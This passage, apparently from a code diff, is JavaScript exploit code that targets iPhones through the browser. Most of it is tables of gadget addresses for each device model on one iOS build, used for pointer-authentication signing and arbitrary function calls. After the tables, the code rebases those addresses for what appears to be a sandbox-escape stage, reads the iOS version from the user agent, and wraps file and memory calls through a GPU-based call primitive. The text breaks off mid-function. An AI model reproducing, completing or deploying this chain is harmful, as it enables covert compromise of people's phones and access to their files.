tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone13,2_3_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c800ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26147598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, +"iPhone13,3_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c800ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26147598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + + "iPhone13,4_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9d702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c800ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26147598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed4d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,2_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9ab02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c848ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26183b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed212ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01e150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,3_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9ab02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c848ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26183b98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed212ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01e150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,4_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9a702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c844ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2614a598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed1d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,5_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9a702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c844ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2614a598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed1d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd4e178n, + tcall_X0LG: 0x21f01a150n, + transformSurface_gadget: 0x21016cb70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,6_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a91f02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c7b8ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26145098cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ec952ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd52178n, + tcall_X0LG: 0x21f01e150n, + transformSurface_gadget: 0x210170b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,7_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9bb02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c858ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26186198cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed312ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd62178n, + tcall_X0LG: 0x21f02e150n, + transformSurface_gadget: 0x210180b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone14,8_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9bb02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c858ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26186198cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed312ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd62178n, + tcall_X0LG: 0x21f02e150n, + transformSurface_gadget: 0x210180b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone15,2_22G100": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9ff02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c89dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261c5398cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed752ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone15,3_22G100": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23a9ff02cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c89dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261c5398cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed752ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone15,4_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9ff02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c89dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2618fb98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed752ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone15,5_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9ff02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c89dea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2618fb98cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed752ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone16,1_22G100": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23aa0302cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24d051ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x26244f98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed792ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f03a150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone16,2_22G100": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23aa0302cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24d051ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x26244f98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed792ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f03a150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone17,1_22G100": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23aa0302cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c931ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261d2f98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed792ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f03a150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone17,2_22G100": { + _4_fcalls: 0x1c62b9bf8n, + _CFObjectCopyProperty: 0x18e436700n, + add_x22_0x90: 0x23aa0302cn, + dyld_signPointer_gadget: 0x1a962f0a4n, + fcall_14_args_write_x8: 0x24c931ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82fa60n, + jsvm_isNAN_fcall_gadget2: 0x1803b29acn, + load_x1x3x8: 0x261d2f98cn, + malloc_restore_0_gadget: 0x18fc3728cn, + malloc_restore_1_gadget: 0x1ca6e95c8n, + malloc_restore_2_gadget: 0x1a95fd6c8n, + malloc_restore_3_gadget: 0x1901c5d34n, + mov_x0_x22: 0x193fdb8d4n, + self_loop: 0x18ff78d38n, + store_x0_x0: 0x1941d89b8n, + str_x1_x2: 0x1e6966b00n, + tcall_CRLG: 0x23ed792ecn, + tcall_CSSG: 0x1ad430c3cn, + tcall_DG: 0x1e02c73f8n, + tcall_DSSG: 0x1a9b79b10n, + tcall_RLG: 0x20dd6e178n, + tcall_X0LG: 0x21f03a150n, + transformSurface_gadget: 0x21018cb70n, + xpac_gadget: 0x1b6424a08n, + }, + "iPhone17,3_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c929ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26198798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone17,4_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9fb02cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c929ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x26198798cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed712ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd66178n, + tcall_X0LG: 0x21f032150n, + transformSurface_gadget: 0x210184b70n, + xpac_gadget: 0x1b6420a08n, + }, + "iPhone17,5_22G100": { + _4_fcalls: 0x1c62b5bf8n, + _CFObjectCopyProperty: 0x18e432700n, + add_x22_0x90: 0x23a9f702cn, + dyld_signPointer_gadget: 0x1a962b0a4n, + fcall_14_args_write_x8: 0x24c925ea8n, + jsvm_isNAN_fcall_gadget: 0x19e82ba60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9acn, + load_x1x3x8: 0x2616f598cn, + malloc_restore_0_gadget: 0x18fc3328cn, + malloc_restore_1_gadget: 0x1ca6e55c8n, + malloc_restore_2_gadget: 0x1a95f96c8n, + malloc_restore_3_gadget: 0x1901c1d34n, + mov_x0_x22: 0x193fd78d4n, + self_loop: 0x18ff74d38n, + store_x0_x0: 0x1941d49b8n, + str_x1_x2: 0x1e6962b00n, + tcall_CRLG: 0x23ed6d2ecn, + tcall_CSSG: 0x1ad42cc3cn, + tcall_DG: 0x1e02c33f8n, + tcall_DSSG: 0x1a9b75b10n, + tcall_RLG: 0x20dd62178n, + tcall_X0LG: 0x21f02e150n, + transformSurface_gadget: 0x210180b70n, + xpac_gadget: 0x1b6420a08n, + } + +}); + + + let __sbx1_dm = __labResolveOffsetKey(sbx1_offsets, device_model); + let offsets_sbx1 = sbx1_offsets[__sbx1_dm]; + transformSurface_gadget = offsets_sbx1.transformSurface_gadget + shared_cache_slide; + dyld_signPointer_gadget = offsets_sbx1.dyld_signPointer_gadget + shared_cache_slide; + malloc_restore_0_gadget = offsets_sbx1.malloc_restore_0_gadget + shared_cache_slide; + malloc_restore_1_gadget = offsets_sbx1.malloc_restore_1_gadget + shared_cache_slide; + malloc_restore_2_gadget = offsets_sbx1.malloc_restore_2_gadget + shared_cache_slide; + malloc_restore_3_gadget = offsets_sbx1.malloc_restore_3_gadget + shared_cache_slide; + if (offsets_sbx1.set_x19_gadget != undefined) { + set_x19_gadget = offsets_sbx1.set_x19_gadget + shared_cache_slide; + set_x30_gadget = offsets_sbx1.set_x30_gadget + shared_cache_slide; + load_x0_0x0_gadget = offsets_sbx1.load_x0_0x0_gadget + shared_cache_slide; + load_x0_0x0_gadget_data = offsets_sbx1.load_x0_0x0_gadget_data + shared_cache_slide; + new_save_x0_gadget = offsets_sbx1.new_save_x0_gadget + shared_cache_slide; + new_save_x0_gadget_data = offsets_sbx1.new_save_x0_gadget_data + shared_cache_slide; + isNAN_lr_gadget = offsets_sbx1.isNAN_lr_gadget + shared_cache_slide; + mov_x8_x0_gadget = offsets_sbx1.mov_x8_x0_gadget + shared_cache_slide; + leak_surface_address_gadget = offsets_sbx1.leak_surface_address_gadget + shared_cache_slide; + mov_x0_x8_gadget = offsets_sbx1.mov_x0_x8_gadget + shared_cache_slide; + save_sp_gadget = offsets_sbx1.save_sp_gadget + shared_cache_slide; + save_x0_gadget = offsets_sbx1.save_x0_gadget + shared_cache_slide; + save_x0_gadget_data = offsets_sbx1.save_x0_gadget_data + shared_cache_slide; + mov_x20_x19_gadget = offsets_sbx1.mov_x20_x19_gadget + shared_cache_slide; + restore_sp_gadget = offsets_sbx1.restore_sp_gadget + shared_cache_slide; + xpac_gadget = offsets_sbx1.xpac_gadget + shared_cache_slide; + restore_sp_gadget_data = offsets_sbx1.restore_sp_gadget_data + shared_cache_slide; + load_x1_0x30_gadget = offsets_sbx1.load_x1_0x30_gadget + shared_cache_slide; + load_x1_0x30_gadget_data = offsets_sbx1.load_x1_0x30_gadget_data + shared_cache_slide; + load_x0_0x18_gadget = offsets_sbx1.load_x0_0x18_gadget + shared_cache_slide; + load_x0_0x18_gadget_data = offsets_sbx1.load_x0_0x18_gadget_data + shared_cache_slide; + dyld_objc_patching_gadget = offsets_sbx1.dyld_objc_patching_gadget + shared_cache_slide; + dyld_patching_noprolog_gadget = offsets_sbx1.dyld_patching_noprolog_gadget + shared_cache_slide; + set_sp_gadget = offsets_sbx1.set_sp_gadget + shared_cache_slide; + read_surface_address_gadget = offsets_sbx1.read_surface_address_gadget + shared_cache_slide; + dyld_patching_dispatcher_gadget = offsets_sbx1.dyld_patching_dispatcher_gadget + shared_cache_slide; + braaz_x8_gadget = offsets_sbx1.braaz_x8_gadget + shared_cache_slide; + } + if (offsets_sbx1.tcall_CRLG != undefined) { + tcall_CRLG = offsets_sbx1.tcall_CRLG + shared_cache_slide; + tcall_X0LG = offsets_sbx1.tcall_X0LG + shared_cache_slide; + tcall_RLG = offsets_sbx1.tcall_RLG + shared_cache_slide; + tcall_CSSG = offsets_sbx1.tcall_CSSG + shared_cache_slide; + tcall_DSSG = offsets_sbx1.tcall_DSSG + shared_cache_slide; + tcall_DG = offsets_sbx1.tcall_DG + shared_cache_slide; + _CFObjectCopyProperty = offsets_sbx1._CFObjectCopyProperty + shared_cache_slide; + load_x1x3x8 = offsets_sbx1.load_x1x3x8 + shared_cache_slide; + fcall_14_args_write_x8 = offsets_sbx1.fcall_14_args_write_x8 + shared_cache_slide; + _4_fcalls = offsets_sbx1._4_fcalls + shared_cache_slide; + self_loop = offsets_sbx1.self_loop + shared_cache_slide; + jsvm_isNAN_fcall_gadget = offsets_sbx1.jsvm_isNAN_fcall_gadget + shared_cache_slide; + jsvm_isNAN_fcall_gadget2 = offsets_sbx1.jsvm_isNAN_fcall_gadget2 + shared_cache_slide; + store_x0_x0 = offsets_sbx1.store_x0_x0 + shared_cache_slide; + str_x1_x2 = offsets_sbx1.str_x1_x2 + shared_cache_slide; + mov_x0_x22 = offsets_sbx1.mov_x0_x22 + shared_cache_slide; + add_x22_0x90 = offsets_sbx1.add_x22_0x90 + shared_cache_slide; + xpac_gadget = offsets_sbx1.xpac_gadget + shared_cache_slide; + } + if (save_x0_gadget == 0n || save_x0_gadget == shared_cache_slide) { + save_x0_gadget = new_save_x0_gadget; + save_x0_gadget_data = new_save_x0_gadget_data; + } + } else {} + const ios_version = function () { + let version = /iPhone OS ([0-9_]+)/g.exec(navigator.userAgent)?.[1]; + if (version) { + version = version.split('_').map(part => parseInt(part)); + return parseInt(version.join('')).toString(16); + } + }(); + function get_ios_version() { + return ios_version; + } + function assert(a, b = "N/A") { + if (!a) { + throw new Error(`assert failed: ${b}`); + } + } + function ERROR(a) { + throw new Error(a); + } + function calloc(...args) { + return gpu_fcall(CALLOC, ...args); + } + function realloc(...args) { + return gpu_fcall(REALLOC, ...args); + } + function free(...args) { + return gpu_fcall(FREE, ...args); + } + function confstr(...args) { + return gpu_fcall(CONFSTR, ...args); + } + function access(...args) { + return gpu_fcall(ACCESS, ...args); + } + function mkdir(...args) { + return gpu_fcall(MKDIR, ...args); + } + function strlcat(...args) { + return gpu_fcall(STRLCAT, ...args); + } + function strdup(...args) { + return gpu_fcall(STRDUP, ...args); + } + function strlen(...args) { + return gpu_fcall(STRLEN, ...args); + } + function open(...args) { + return gpu_fcall(OPEN, ...args); + } + function close(...args) { + return gpu_fcall(CLOSE, ...args); + } + function remove(...args) { + return gpu_fcall(REMOVE, ...args); + } + function sync(...args) { + return gpu_fcall(SYNC, ...args); + } + function write(...args) { + return gpu_fcall(WRITE, ...args); + } + function pwrite(...args) { + return gpu_fcall(PWRITE, ...args); + } + function pread(...args) { + return gpu_fcall(PREAD, ...args); + } + function writev(...args) { + return 